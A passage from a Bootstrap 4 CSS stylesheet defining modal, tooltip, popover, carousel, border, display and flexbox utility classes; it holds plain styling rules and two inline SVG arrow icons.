border-top-left-radius: 0.3rem;\n border-top-right-radius: 0.3rem;\n}\n\n.modal-header .close {\n padding: 1rem;\n margin: -1rem -1rem -1rem auto;\n}\n\n.modal-title {\n margin-bottom: 0;\n line-height: 1.5;\n}\n\n.modal-body {\n position: relative;\n flex: 1 1 auto;\n padding: 1rem;\n}\n\n.modal-footer {\n display: flex;\n align-items: center;\n justify-content: flex-end;\n padding: 1rem;\n border-top: 1px solid #e9ecef;\n}\n\n.modal-footer > :not(:first-child) {\n margin-left: .25rem;\n}\n\n.modal-footer > :not(:last-child) {\n margin-right: .25rem;\n}\n\n.modal-scrollbar-measure {\n position: absolute;\n top: -9999px;\n width: 50px;\n height: 50px;\n overflow: scroll;\n}\n\n@media (min-width: 576px) {\n .modal-dialog {\n max-width: 500px;\n margin: 1.75rem auto;\n }\n .modal-dialog-centered {\n min-height: calc(100% - (1.75rem * 2));\n }\n .modal-sm {\n max-width: 300px;\n }\n}\n\n@media (min-width: 992px) {\n .modal-lg {\n max-width: 800px;\n }\n}\n\n.tooltip {\n position: absolute;\n z-index: 1070;\n display: block;\n margin: 0;\n font-family: -apple-system, BlinkMacSystemFont, \"Segoe UI\", Roboto, \"Helvetica Neue\", Arial, sans-serif, \"Apple Color Emoji\", \"Segoe UI Emoji\", \"Segoe UI Symbol\";\n font-style: normal;\n font-weight: 400;\n line-height: 1.5;\n text-align: left;\n text-align: start;\n text-decoration: none;\n text-shadow: none;\n text-transform: none;\n letter-spacing: normal;\n word-break: normal;\n word-spacing: normal;\n white-space: normal;\n line-break: auto;\n font-size: 0.875rem;\n word-wrap: break-word;\n opacity: 0;\n}\n\n.tooltip.show {\n opacity: 0.9;\n}\n\n.tooltip .arrow {\n position: absolute;\n display: block;\n width: 0.8rem;\n height: 0.4rem;\n}\n\n.tooltip .arrow::before {\n position: absolute;\n content: \"\";\n border-color: transparent;\n border-style: solid;\n}\n\n.bs-tooltip-top, .bs-tooltip-auto[x-placement^=\"top\"] {\n padding: 0.4rem 0;\n}\n\n.bs-tooltip-top .arrow, .bs-tooltip-auto[x-placement^=\"top\"] .arrow {\n bottom: 0;\n}\n\n.bs-tooltip-top .arrow::before, .bs-tooltip-auto[x-placement^=\"top\"] .arrow::before {\n top: 0;\n border-width: 0.4rem 0.4rem 0;\n border-top-color: #000;\n}\n\n.bs-tooltip-right, .bs-tooltip-auto[x-placement^=\"right\"] {\n padding: 0 0.4rem;\n}\n\n.bs-tooltip-right .arrow, .bs-tooltip-auto[x-placement^=\"right\"] .arrow {\n left: 0;\n width: 0.4rem;\n height: 0.8rem;\n}\n\n.bs-tooltip-right .arrow::before, .bs-tooltip-auto[x-placement^=\"right\"] .arrow::before {\n right: 0;\n border-width: 0.4rem 0.4rem 0.4rem 0;\n border-right-color: #000;\n}\n\n.bs-tooltip-bottom, .bs-tooltip-auto[x-placement^=\"bottom\"] {\n padding: 0.4rem 0;\n}\n\n.bs-tooltip-bottom .arrow, .bs-tooltip-auto[x-placement^=\"bottom\"] .arrow {\n top: 0;\n}\n\n.bs-tooltip-bottom .arrow::before, .bs-tooltip-auto[x-placement^=\"bottom\"] .arrow::before {\n bottom: 0;\n border-width: 0 0.4rem 0.4rem;\n border-bottom-color: #000;\n}\n\n.bs-tooltip-left, .bs-tooltip-auto[x-placement^=\"left\"] {\n padding: 0 0.4rem;\n}\n\n.bs-tooltip-left .arrow, .bs-tooltip-auto[x-placement^=\"left\"] .arrow {\n right: 0;\n width: 0.4rem;\n height: 0.8rem;\n}\n\n.bs-tooltip-left .arrow::before, .bs-tooltip-auto[x-placement^=\"left\"] .arrow::before {\n left: 0;\n border-width: 0.4rem 0 0.4rem 0.4rem;\n border-left-color: #000;\n}\n\n.tooltip-inner {\n max-width: 200px;\n padding: 0.25rem 0.5rem;\n color: #fff;\n text-align: center;\n background-color: #000;\n border-radius: 0.25rem;\n}\n\n.popover {\n position: absolute;\n top: 0;\n left: 0;\n z-index: 1060;\n display: block;\n max-width: 276px;\n font-family: -apple-system, BlinkMacSystemFont, \"Segoe UI\", Roboto, \"Helvetica Neue\", Arial, sans-serif, \"Apple Color Emoji\", \"Segoe UI Emoji\", \"Segoe UI Symbol\";\n font-style: normal;\n font-weight: 400;\n line-height: 1.5;\n text-align: left;\n text-align: start;\n text-decoration: none;\n text-shadow: none;\n text-transform: none;\n letter-spacing: normal;\n word-break: normal;\n word-spacing: normal;\n white-space: normal;\n line-break: auto;\n font-size: 0.875rem;\n word-wrap: break-word;\n background-color: #fff;\n background-clip: padding-box;\n border: 1px solid rgba(0, 0, 0, 0.2);\n border-radius: 0.3rem;\n}\n\n.popover .arrow {\n position: absolute;\n display: block;\n width: 1rem;\n height: 0.5rem;\n margin: 0 0.3rem;\n}\n\n.popover .arrow::before, .popover .arrow::after {\n position: absolute;\n display: block;\n content: \"\";\n border-color: transparent;\n border-style: solid;\n}\n\n.bs-popover-top, .bs-popover-auto[x-placement^=\"top\"] {\n margin-bottom: 0.5rem;\n}\n\n.bs-popover-top .arrow, .bs-popover-auto[x-placement^=\"top\"] .arrow {\n bottom: calc((0.5rem + 1px) * -1);\n}\n\n.bs-popover-top .arrow::before, .bs-popover-auto[x-placement^=\"top\"] .arrow::before,\n.bs-popover-top .arrow::after, .bs-popover-auto[x-placement^=\"top\"] .arrow::after {\n border-width: 0.5rem 0.5rem 0;\n}\n\n.bs-popover-top .arrow::before, .bs-popover-auto[x-placement^=\"top\"] .arrow::before {\n bottom: 0;\n border-top-color: rgba(0, 0, 0, 0.25);\n}\n\n.bs-popover-top .arrow::after, .bs-popover-auto[x-placement^=\"top\"] .arrow::after {\n bottom: 1px;\n border-top-color: #fff;\n}\n\n.bs-popover-right, .bs-popover-auto[x-placement^=\"right\"] {\n margin-left: 0.5rem;\n}\n\n.bs-popover-right .arrow, .bs-popover-auto[x-placement^=\"right\"] .arrow {\n left: calc((0.5rem + 1px) * -1);\n width: 0.5rem;\n height: 1rem;\n margin: 0.3rem 0;\n}\n\n.bs-popover-right .arrow::before, .bs-popover-auto[x-placement^=\"right\"] .arrow::before,\n.bs-popover-right .arrow::after, .bs-popover-auto[x-placement^=\"right\"] .arrow::after {\n border-width: 0.5rem 0.5rem 0.5rem 0;\n}\n\n.bs-popover-right .arrow::before, .bs-popover-auto[x-placement^=\"right\"] .arrow::before {\n left: 0;\n border-right-color: rgba(0, 0, 0, 0.25);\n}\n\n.bs-popover-right .arrow::after, .bs-popover-auto[x-placement^=\"right\"] .arrow::after {\n left: 1px;\n border-right-color: #fff;\n}\n\n.bs-popover-bottom, .bs-popover-auto[x-placement^=\"bottom\"] {\n margin-top: 0.5rem;\n}\n\n.bs-popover-bottom .arrow, .bs-popover-auto[x-placement^=\"bottom\"] .arrow {\n top: calc((0.5rem + 1px) * -1);\n}\n\n.bs-popover-bottom .arrow::before, .bs-popover-auto[x-placement^=\"bottom\"] .arrow::before,\n.bs-popover-bottom .arrow::after, .bs-popover-auto[x-placement^=\"bottom\"] .arrow::after {\n border-width: 0 0.5rem 0.5rem 0.5rem;\n}\n\n.bs-popover-bottom .arrow::before, .bs-popover-auto[x-placement^=\"bottom\"] .arrow::before {\n top: 0;\n border-bottom-color: rgba(0, 0, 0, 0.25);\n}\n\n.bs-popover-bottom .arrow::after, .bs-popover-auto[x-placement^=\"bottom\"] .arrow::after {\n top: 1px;\n border-bottom-color: #fff;\n}\n\n.bs-popover-bottom .popover-header::before, .bs-popover-auto[x-placement^=\"bottom\"] .popover-header::before {\n position: absolute;\n top: 0;\n left: 50%;\n display: block;\n width: 1rem;\n margin-left: -0.5rem;\n content: \"\";\n border-bottom: 1px solid #f7f7f7;\n}\n\n.bs-popover-left, .bs-popover-auto[x-placement^=\"left\"] {\n margin-right: 0.5rem;\n}\n\n.bs-popover-left .arrow, .bs-popover-auto[x-placement^=\"left\"] .arrow {\n right: calc((0.5rem + 1px) * -1);\n width: 0.5rem;\n height: 1rem;\n margin: 0.3rem 0;\n}\n\n.bs-popover-left .arrow::before, .bs-popover-auto[x-placement^=\"left\"] .arrow::before,\n.bs-popover-left .arrow::after, .bs-popover-auto[x-placement^=\"left\"] .arrow::after {\n border-width: 0.5rem 0 0.5rem 0.5rem;\n}\n\n.bs-popover-left .arrow::before, .bs-popover-auto[x-placement^=\"left\"] .arrow::before {\n right: 0;\n border-left-color: rgba(0, 0, 0, 0.25);\n}\n\n.bs-popover-left .arrow::after, .bs-popover-auto[x-placement^=\"left\"] .arrow::after {\n right: 1px;\n border-left-color: #fff;\n}\n\n.popover-header {\n padding: 0.5rem 0.75rem;\n margin-bottom: 0;\n font-size: 1rem;\n color: inherit;\n background-color: #f7f7f7;\n border-bottom: 1px solid #ebebeb;\n border-top-left-radius: calc(0.3rem - 1px);\n border-top-right-radius: calc(0.3rem - 1px);\n}\n\n.popover-header:empty {\n display: none;\n}\n\n.popover-body {\n padding: 0.5rem 0.75rem;\n color: #212529;\n}\n\n.carousel {\n position: relative;\n}\n\n.carousel-inner {\n position: relative;\n width: 100%;\n overflow: hidden;\n}\n\n.carousel-item {\n position: relative;\n display: none;\n align-items: center;\n width: 100%;\n transition: transform 0.6s ease;\n backface-visibility: hidden;\n perspective: 1000px;\n}\n\n@media screen and (prefers-reduced-motion: reduce) {\n .carousel-item {\n transition: none;\n }\n}\n\n.carousel-item.active,\n.carousel-item-next,\n.carousel-item-prev {\n display: block;\n}\n\n.carousel-item-next,\n.carousel-item-prev {\n position: absolute;\n top: 0;\n}\n\n.carousel-item-next.carousel-item-left,\n.carousel-item-prev.carousel-item-right {\n transform: translateX(0);\n}\n\n@supports (transform-style: preserve-3d) {\n .carousel-item-next.carousel-item-left,\n .carousel-item-prev.carousel-item-right {\n transform: translate3d(0, 0, 0);\n }\n}\n\n.carousel-item-next,\n.active.carousel-item-right {\n transform: translateX(100%);\n}\n\n@supports (transform-style: preserve-3d) {\n .carousel-item-next,\n .active.carousel-item-right {\n transform: translate3d(100%, 0, 0);\n }\n}\n\n.carousel-item-prev,\n.active.carousel-item-left {\n transform: translateX(-100%);\n}\n\n@supports (transform-style: preserve-3d) {\n .carousel-item-prev,\n .active.carousel-item-left {\n transform: translate3d(-100%, 0, 0);\n }\n}\n\n.carousel-fade .carousel-item {\n opacity: 0;\n transition-duration: .6s;\n transition-property: opacity;\n}\n\n.carousel-fade .carousel-item.active,\n.carousel-fade .carousel-item-next.carousel-item-left,\n.carousel-fade .carousel-item-prev.carousel-item-right {\n opacity: 1;\n}\n\n.carousel-fade .active.carousel-item-left,\n.carousel-fade .active.carousel-item-right {\n opacity: 0;\n}\n\n.carousel-fade .carousel-item-next,\n.carousel-fade .carousel-item-prev,\n.carousel-fade .carousel-item.active,\n.carousel-fade .active.carousel-item-left,\n.carousel-fade .active.carousel-item-prev {\n transform: translateX(0);\n}\n\n@supports (transform-style: preserve-3d) {\n .carousel-fade .carousel-item-next,\n .carousel-fade .carousel-item-prev,\n .carousel-fade .carousel-item.active,\n .carousel-fade .active.carousel-item-left,\n .carousel-fade .active.carousel-item-prev {\n transform: translate3d(0, 0, 0);\n }\n}\n\n.carousel-control-prev,\n.carousel-control-next {\n position: absolute;\n top: 0;\n bottom: 0;\n display: flex;\n align-items: center;\n justify-content: center;\n width: 15%;\n color: #fff;\n text-align: center;\n opacity: 0.5;\n}\n\n.carousel-control-prev:hover, .carousel-control-prev:focus,\n.carousel-control-next:hover,\n.carousel-control-next:focus {\n color: #fff;\n text-decoration: none;\n outline: 0;\n opacity: .9;\n}\n\n.carousel-control-prev {\n left: 0;\n}\n\n.carousel-control-next {\n right: 0;\n}\n\n.carousel-control-prev-icon,\n.carousel-control-next-icon {\n display: inline-block;\n width: 20px;\n height: 20px;\n background: transparent no-repeat center center;\n background-size: 100% 100%;\n}\n\n.carousel-control-prev-icon {\n background-image: url(\"data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' fill='%23fff' viewBox='0 0 8 8'%3E%3Cpath d='M5.25 0l-4 4 4 4 1.5-1.5-2.5-2.5 2.5-2.5-1.5-1.5z'/%3E%3C/svg%3E\");\n}\n\n.carousel-control-next-icon {\n background-image: url(\"data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' fill='%23fff' viewBox='0 0 8 8'%3E%3Cpath d='M2.75 0l-1.5 1.5 2.5 2.5-2.5 2.5 1.5 1.5 4-4-4-4z'/%3E%3C/svg%3E\");\n}\n\n.carousel-indicators {\n position: absolute;\n right: 0;\n bottom: 10px;\n left: 0;\n z-index: 15;\n display: flex;\n justify-content: center;\n padding-left: 0;\n margin-right: 15%;\n margin-left: 15%;\n list-style: none;\n}\n\n.carousel-indicators li {\n position: relative;\n flex: 0 1 auto;\n width: 30px;\n height: 3px;\n margin-right: 3px;\n margin-left: 3px;\n text-indent: -999px;\n background-color: rgba(255, 255, 255, 0.5);\n}\n\n.carousel-indicators li::before {\n position: absolute;\n top: -10px;\n left: 0;\n display: inline-block;\n width: 100%;\n height: 10px;\n content: \"\";\n}\n\n.carousel-indicators li::after {\n position: absolute;\n bottom: -10px;\n left: 0;\n display: inline-block;\n width: 100%;\n height: 10px;\n content: \"\";\n}\n\n.carousel-indicators .active {\n background-color: #fff;\n}\n\n.carousel-caption {\n position: absolute;\n right: 15%;\n bottom: 20px;\n left: 15%;\n z-index: 10;\n padding-top: 20px;\n padding-bottom: 20px;\n color: #fff;\n text-align: center;\n}\n\n.align-baseline {\n vertical-align: baseline !important;\n}\n\n.align-top {\n vertical-align: top !important;\n}\n\n.align-middle {\n vertical-align: middle !important;\n}\n\n.align-bottom {\n vertical-align: bottom !important;\n}\n\n.align-text-bottom {\n vertical-align: text-bottom !important;\n}\n\n.align-text-top {\n vertical-align: text-top !important;\n}\n\n.bg-primary {\n background-color: #007bff !important;\n}\n\na.bg-primary:hover, a.bg-primary:focus,\nbutton.bg-primary:hover,\nbutton.bg-primary:focus {\n background-color: #0062cc !important;\n}\n\n.bg-secondary {\n background-color: #6c757d !important;\n}\n\na.bg-secondary:hover, a.bg-secondary:focus,\nbutton.bg-secondary:hover,\nbutton.bg-secondary:focus {\n background-color: #545b62 !important;\n}\n\n.bg-success {\n background-color: #28a745 !important;\n}\n\na.bg-success:hover, a.bg-success:focus,\nbutton.bg-success:hover,\nbutton.bg-success:focus {\n background-color: #1e7e34 !important;\n}\n\n.bg-info {\n background-color: #17a2b8 !important;\n}\n\na.bg-info:hover, a.bg-info:focus,\nbutton.bg-info:hover,\nbutton.bg-info:focus {\n background-color: #117a8b !important;\n}\n\n.bg-warning {\n background-color: #ffc107 !important;\n}\n\na.bg-warning:hover, a.bg-warning:focus,\nbutton.bg-warning:hover,\nbutton.bg-warning:focus {\n background-color: #d39e00 !important;\n}\n\n.bg-danger {\n background-color: #dc3545 !important;\n}\n\na.bg-danger:hover, a.bg-danger:focus,\nbutton.bg-danger:hover,\nbutton.bg-danger:focus {\n background-color: #bd2130 !important;\n}\n\n.bg-light {\n background-color: #f8f9fa !important;\n}\n\na.bg-light:hover, a.bg-light:focus,\nbutton.bg-light:hover,\nbutton.bg-light:focus {\n background-color: #dae0e5 !important;\n}\n\n.bg-dark {\n background-color: #343a40 !important;\n}\n\na.bg-dark:hover, a.bg-dark:focus,\nbutton.bg-dark:hover,\nbutton.bg-dark:focus {\n background-color: #1d2124 !important;\n}\n\n.bg-white {\n background-color: #fff !important;\n}\n\n.bg-transparent {\n background-color: transparent !important;\n}\n\n.border {\n border: 1px solid #dee2e6 !important;\n}\n\n.border-top {\n border-top: 1px solid #dee2e6 !important;\n}\n\n.border-right {\n border-right: 1px solid #dee2e6 !important;\n}\n\n.border-bottom {\n border-bottom: 1px solid #dee2e6 !important;\n}\n\n.border-left {\n border-left: 1px solid #dee2e6 !important;\n}\n\n.border-0 {\n border: 0 !important;\n}\n\n.border-top-0 {\n border-top: 0 !important;\n}\n\n.border-right-0 {\n border-right: 0 !important;\n}\n\n.border-bottom-0 {\n border-bottom: 0 !important;\n}\n\n.border-left-0 {\n border-left: 0 !important;\n}\n\n.border-primary {\n border-color: #007bff !important;\n}\n\n.border-secondary {\n border-color: #6c757d !important;\n}\n\n.border-success {\n border-color: #28a745 !important;\n}\n\n.border-info {\n border-color: #17a2b8 !important;\n}\n\n.border-warning {\n border-color: #ffc107 !important;\n}\n\n.border-danger {\n border-color: #dc3545 !important;\n}\n\n.border-light {\n border-color: #f8f9fa !important;\n}\n\n.border-dark {\n border-color: #343a40 !important;\n}\n\n.border-white {\n border-color: #fff !important;\n}\n\n.rounded {\n border-radius: 0.25rem !important;\n}\n\n.rounded-top {\n border-top-left-radius: 0.25rem !important;\n border-top-right-radius: 0.25rem !important;\n}\n\n.rounded-right {\n border-top-right-radius: 0.25rem !important;\n border-bottom-right-radius: 0.25rem !important;\n}\n\n.rounded-bottom {\n border-bottom-right-radius: 0.25rem !important;\n border-bottom-left-radius: 0.25rem !important;\n}\n\n.rounded-left {\n border-top-left-radius: 0.25rem !important;\n border-bottom-left-radius: 0.25rem !important;\n}\n\n.rounded-circle {\n border-radius: 50% !important;\n}\n\n.rounded-0 {\n border-radius: 0 !important;\n}\n\n.clearfix::after {\n display: block;\n clear: both;\n content: \"\";\n}\n\n.d-none {\n display: none !important;\n}\n\n.d-inline {\n display: inline !important;\n}\n\n.d-inline-block {\n display: inline-block !important;\n}\n\n.d-block {\n display: block !important;\n}\n\n.d-table {\n display: table !important;\n}\n\n.d-table-row {\n display: table-row !important;\n}\n\n.d-table-cell {\n display: table-cell !important;\n}\n\n.d-flex {\n display: flex !important;\n}\n\n.d-inline-flex {\n display: inline-flex !important;\n}\n\n@media (min-width: 576px) {\n .d-sm-none {\n display: none !important;\n }\n .d-sm-inline {\n display: inline !important;\n }\n .d-sm-inline-block {\n display: inline-block !important;\n }\n .d-sm-block {\n display: block !important;\n }\n .d-sm-table {\n display: table !important;\n }\n .d-sm-table-row {\n display: table-row !important;\n }\n .d-sm-table-cell {\n display: table-cell !important;\n }\n .d-sm-flex {\n display: flex !important;\n }\n .d-sm-inline-flex {\n display: inline-flex !important;\n }\n}\n\n@media (min-width: 768px) {\n .d-md-none {\n display: none !important;\n }\n .d-md-inline {\n display: inline !important;\n }\n .d-md-inline-block {\n display: inline-block !important;\n }\n .d-md-block {\n display: block !important;\n }\n .d-md-table {\n display: table !important;\n }\n .d-md-table-row {\n display: table-row !important;\n }\n .d-md-table-cell {\n display: table-cell !important;\n }\n .d-md-flex {\n display: flex !important;\n }\n .d-md-inline-flex {\n display: inline-flex !important;\n }\n}\n\n@media (min-width: 992px) {\n .d-lg-none {\n display: none !important;\n }\n .d-lg-inline {\n display: inline !important;\n }\n .d-lg-inline-block {\n display: inline-block !important;\n }\n .d-lg-block {\n display: block !important;\n }\n .d-lg-table {\n display: table !important;\n }\n .d-lg-table-row {\n display: table-row !important;\n }\n .d-lg-table-cell {\n display: table-cell !important;\n }\n .d-lg-flex {\n display: flex !important;\n }\n .d-lg-inline-flex {\n display: inline-flex !important;\n }\n}\n\n@media (min-width: 1200px) {\n .d-xl-none {\n display: none !important;\n }\n .d-xl-inline {\n display: inline !important;\n }\n .d-xl-inline-block {\n display: inline-block !important;\n }\n .d-xl-block {\n display: block !important;\n }\n .d-xl-table {\n display: table !important;\n }\n .d-xl-table-row {\n display: table-row !important;\n }\n .d-xl-table-cell {\n display: table-cell !important;\n }\n .d-xl-flex {\n display: flex !important;\n }\n .d-xl-inline-flex {\n display: inline-flex !important;\n }\n}\n\n@media print {\n .d-print-none {\n display: none !important;\n }\n .d-print-inline {\n display: inline !important;\n }\n .d-print-inline-block {\n display: inline-block !important;\n }\n .d-print-block {\n display: block !important;\n }\n .d-print-table {\n display: table !important;\n }\n .d-print-table-row {\n display: table-row !important;\n }\n .d-print-table-cell {\n display: table-cell !important;\n }\n .d-print-flex {\n display: flex !important;\n }\n .d-print-inline-flex {\n display: inline-flex !important;\n }\n}\n\n.embed-responsive {\n position: relative;\n display: block;\n width: 100%;\n padding: 0;\n overflow: hidden;\n}\n\n.embed-responsive::before {\n display: block;\n content: \"\";\n}\n\n.embed-responsive .embed-responsive-item,\n.embed-responsive iframe,\n.embed-responsive embed,\n.embed-responsive object,\n.embed-responsive video {\n position: absolute;\n top: 0;\n bottom: 0;\n left: 0;\n width: 100%;\n height: 100%;\n border: 0;\n}\n\n.embed-responsive-21by9::before {\n padding-top: 42.857143%;\n}\n\n.embed-responsive-16by9::before {\n padding-top: 56.25%;\n}\n\n.embed-responsive-4by3::before {\n padding-top: 75%;\n}\n\n.embed-responsive-1by1::before {\n padding-top: 100%;\n}\n\n.flex-row {\n flex-direction: row !important;\n}\n\n.flex-column {\n flex-direction: column !important;\n}\n\n.flex-row-reverse {\n flex-direction: row-reverse !important;\n}\n\n.flex-column-reverse {\n flex-direction: column-reverse !important;\n}\n\n.flex-wrap {\n flex-wrap: wrap !important;\n}\n\n.flex-nowrap {\n flex-wrap: nowrap !important;\n}\n\n.flex-wrap-reverse {\n flex-wrap: wrap-reverse !important;\n}\n\n.flex-fill {\n flex: 1 1 auto !important;\n}\n\n.flex-grow-0 {\n flex-grow: 0 !important;\n}\n\n.flex-grow-1 {\n flex-grow: 1 !important;\n}\n\n.flex-shrink-0 {\n flex-shrink: 0 !important;\n}\n\n.flex-shrink-1 {\n flex-shrink: 1 !important;\n}\n\n.justify-content-start {\n justify-content: flex-start !important;\n}\n\n.justify-content-end {\n justify-content: flex-end !important;\n}\n\n.justify-content-center {\n justify-content: center !important;\n}\n\n.justify-content-between {\n justify-content: space-between !important;\n}\n\n.justify-content-around {\n justify-content: space-around !important;\n}\n\n.align-items-start {\n align-items: flex-start !important;\n}\n\n.align-items-end {\n align-items: flex-end !important;\n}\n\n.align-items-center {\n align-items: center !important;\n}\n\n.align-items-baseline {\n align-items: baseline !important;\n}\n\n.align-items-stretch {\n align-items: stretch !important;\n}\n\n.align-content-start {\n align-content: flex-start !important;\n}\n\n.align-content-end {\n align-content: flex-end !important;\n}\n\n.align-content-center {\n align-content: center !important;\n}\n\n.align-content-between {\n align-content: space-between !important;\n}\n\n.align-content-around {\n align-content: space-around !important;\n}\n\n.align-content-stretch {\n align-content: stretch !important;\n}\n\n.align-self-auto {\n align-self: auto !important;\n}\n\n.align-self-start {\n align-self: flex-start !important;\n}\n\n.align-self-end {\n align-self: flex-end !important;\n}\n\n.align-self-center {\n align-self: center !important;\n}\n\n.align-self-baseline {\n align-self: baseline !important;\n}\n\n.align-self-stretch {\n align-self: stretch !important;\n}\n\n@media (min-width: 576px) {\n .flex-sm-row {\n flex-direction: row !important;\n }\n .flex-sm-column {\n flex-direction: column !important;\n }\n .flex-sm-row-reverse {\n flex-direction: row-reverse !important;\n }\n .flex-sm-column-reverse {\n flex-direction: column-reverse !important;\n }\n .flex-sm-wrap {\n flex-wrap: wrap !important;\n }\n .flex-sm-nowrap {\n flex-wrap: nowrap !important;\n }\n .flex-sm-wrap-reverse {\n flex-wrap: wrap-reverse !important;\n }\n .flex-sm-fill {\n flex: 1 1 auto !important;\n }\n .flex-sm-grow-0 {\n flex-grow: 0 !important;\n }\n .flex-sm-grow-1 {\n flex-grow: 1 !important;\n }\n .flex-sm-shrink-0 {\n flex-shrink: 0 !important;\n }\n .flex-sm-shrink-1 {\n flex-shrink: 1 !important;\n }\n .justify-content-sm-start {\n justify-content: flex-start !important;\n }\n .justify-content-sm-end {\n justify-content: flex-end !important;\n }\n .justify-content-sm-center {\n justify-content: center !important;\n }\n .justify-content-sm-between {\n justify-content: space-between !important;\n }\n .justify-content-sm-around {\n justify-content: space-around !important;\n }\n .align-items-sm-start {\n align-items: flex-start !important;\n }\n .align-items-sm-end {\n align-items: flex-end !important;\n }\n .align-items-sm-center {\n align-items: center !important;\n }\n .align-items-sm-baseline {\n align-items: baseline !important;\n }\n .align-items-sm-stretch {\n align-items: stretch !important;\n }\n .align-content-sm-start {\n align-content: flex-start !important;\n }\n .align-content-sm-end {\n align-content: flex-end !important;\n }\n .align-content-sm-center {\n align-content: center !important;\n }\n .align-content-sm-between {\n align-content: space-between !important;\n }\n .align-content-sm-around {\n align-content: space-around !important;\n }\n .align-content-sm-stretch {\n align-content: stretch !important;\n }\n .align-self-sm-auto {\n align-self: auto !important;\n }\n .align-self-sm-start {\n align-self: flex-start !important;\n }\n .align-self-sm-end {\n align-self: flex-end !important;\n }\n .align-self-sm-center {\n align-self: center !important;\n }\n .align-self-sm-baseline {\n align-self: baseline !important;\n }\n .align-self-sm-stretch {\n align-self: stretch !important;\n }\n}\n\n@media (min-width: 768px) {\n .flex-md-row {\n flex-direction: row !important;\n }\n .flex-md-column {\n flex-direction: column !important;\n }\n .flex-md-row-reverse {\n flex-direction: row-reverse !important;\n }\n .flex-md-column-reverse {\n flex-direction: column-reverse !important;\n }\n .flex-md-wrap {\n flex-wrap: wrap !important;\n }\n .flex-md-nowrap {\n flex-wrap: nowrap !important;\n }\n .flex-md-wrap-reverse {\n flex-wrap: wrap-reverse !important;\n }\n .flex-md-fill {\n flex: 1 1 auto !important;\n }\n .flex-md-grow-0 {\n flex-grow: 0 !important;\n }\n .flex-md-grow-1 {\n flex-grow: 1 !important;\n }\n .flex-md-shrink-0 {\n flex-shrink: 0 !important;\n }\n .flex-md-shrink-1 {\n flex-shrink: 1 !important;\n }\n .justify-content-md-start {\n justify-content: flex-start !important;\n }\n .justify-content-md-end {\n justify-content: flex-end !important;\n }\n .justify-content-md-center {\n justify-content: center !important;\n }\n .justify-content-md-between {\n justify-content: space-between !important;\n }\n .justify-content-md-around {\n justify-content: space-around !important;\n }\n .align-items-md-start {\n align-items: flex-start !important;\n }\n .align-items-md-end {\n align-items: flex-end !important;\n }\n .align-items-md-center {\n align-items: center !important;\n }\n .align-items-md-baseline {\n align-items: baseline !important;\n }\n .align-items-md-stretch {\n align-items: stretch !important;\n }\n .align-content-md-start {\n align-content: flex-start !important;\n }\n .align-content-md-end {\n align-content: flex-end !important;\n }\n .align-content-md-center {\n align-content: center !important;\n }\n .align-content-md-between {\n align-content: space-between !important;\n }\n .align-content-md-around {\n align-content: space-around !important;\n }\n .align-content-md-stretch {\n align-content: stretch !important;\n }\n .align-self-md-auto {\n align-self: auto !important;\n }\n .align-self-md-start {\n align-self: flex-start !important;\n }\n .align-self-md-end {\n align-self: flex-end !important;\n }\n .align-self-md-center {\n align-self: center !important;\n }\n .align-self-md-baseline {\n align-self: baseline !important;\n }\n .align-self-md-stretch {\n align-self: stretch !important;\n }\n}\n\n@media (min-width: 992px) {\n .flex-lg-row {\n flex-direction: row !important;\n }\n .flex-lg-column {\n flex-direction: column !important;\n }\n .flex-lg-row-reverse {\n flex-direction: row-reverse !important;\n }\n .flex-lg-column-reverse {\n flex-direction: column-reverse !important;\n }\n .flex-lg-wrap {\n flex-wrap: wrap !important;\n }\n .flex-lg-nowrap {\n flex-wrap: nowrap !important;\n }\n .flex-lg-wrap-reverse {\n flex-wrap: wrap-reverse !important;\n }\n .flex-lg-fill {\n flex: 1 1 auto !important;\n }\n .flex-lg-grow-0 {\n flex-grow: 0 !important;\n }\n .flex-lg-grow-1 {\n flex-grow: 1 !important;\n }\n .flex-lg-shrink-0 {\n flex-shrink: 0 !important;\n }\n .flex-lg-shrink-1 {\n flex-shrink: 1 !important;\n }\n .justify-content-lg-start {\n justify-content: flex-start !important;\n }\n .justify-content-lg-end {\n justify-content: flex-end !important;\n }\n .justify-content-lg-center {\n justify-content: center !important;\n }\n .justify-content-lg-between {\n justify-content: space-between !important;\n }\n .justify-content-lg-around {\n justify-content: space-around !important;\n }\n .align-items-lg-start {\n align-items: flex-start !important;\n }\n .align-items-lg-end {\n align-items: flex-end !important;\n }\n .align-items-lg-center {\n align-items: center !important;\n }\n .align-items-lg-baseline {\n align-items: baseline !important;\n }\n .align-items-lg-stretch {\n align-items: stretch !important;\n }\n .align-content-lg-start {\n align-content: flex-start !important;\n }\n .align-content-lg-end {\n align-content: flex-end !important;\n }\n .align-content-lg-center {\n align-content: center !important;\n }\n .align-content-lg-between {\n align-content: space-between !important;\n }\n .align-content-lg-around {\n align-content: space-around !important;\n }\n .align-content-lg-stretch {\n align-content: stretch !important;\n }\n .align-self-lg-auto {\n align-self: auto !important;\n }\n .align-self-lg-start {\n align-self: flex-start !important;\n }\n .align-self-lg-end {\n align-self: flex-end !important;\n }\n .align-self-lg-center {\n align-self: center !important;\n }\n .align-self-lg-baseline {\n align-self: baseline !important;\n }\n .align-self-lg-stretch {\n align-self: stretch !important;\n }\n}\n\n@media (min-width: 1200px) {\n .flex-xl-row {\n flex-direction: row !important;\n }\n .flex-xl-column {\n flex-direction: column !important;\n }\n .flex-xl-row-reverse {\n flex-direction: row-reverse !important;\n }\n .flex-xl-column-reverse {\n flex-direction: column-reverse !important;\n }\n .flex-xl-wrap {\n flex-wrap: wrap !important;\n }\n .flex-xl-nowrap {\n flex-wrap: nowrap !important;\n }\n .flex-xl-wrap-reverse {\n flex-wrap: wrap-reverse !important;\n }\n .flex-xl-fill {\n flex: 1 1 auto !important;\n }\n .flex-xl-grow-0 {\n flex-grow: 0 !important;\n }\n .flex-xl-grow-1 {\n flex-grow: 1 !important;\n }\n .flex-xl-shrink-0 {\n flex-shrink: 0 !important;\n }\n .flex-xl-shrink-1 {\n flex-shrink: 1 !important;\n }\n .justify-content-xl-start {\n justify-content: flex-start !important;\n }\n .justify-content-xl-end {\n justify-content: flex-end !important;\n }\n .justify-content-xl-center {\n justify-content: center !important;\n }\n .justify-content-xl-between {\n justify-content: space-between !important;\n }\n .justify-content-xl-around {\n justify-content: space-around !important;\n }\n .align-items-xl-start {\n align-items: flex-start !important;\n }\n .align-items-xl-end {\n align-items: flex-end !important;\n }\n .align-items-xl-center {\n align-items: center !important;\n }\n .align-items-xl-baseline 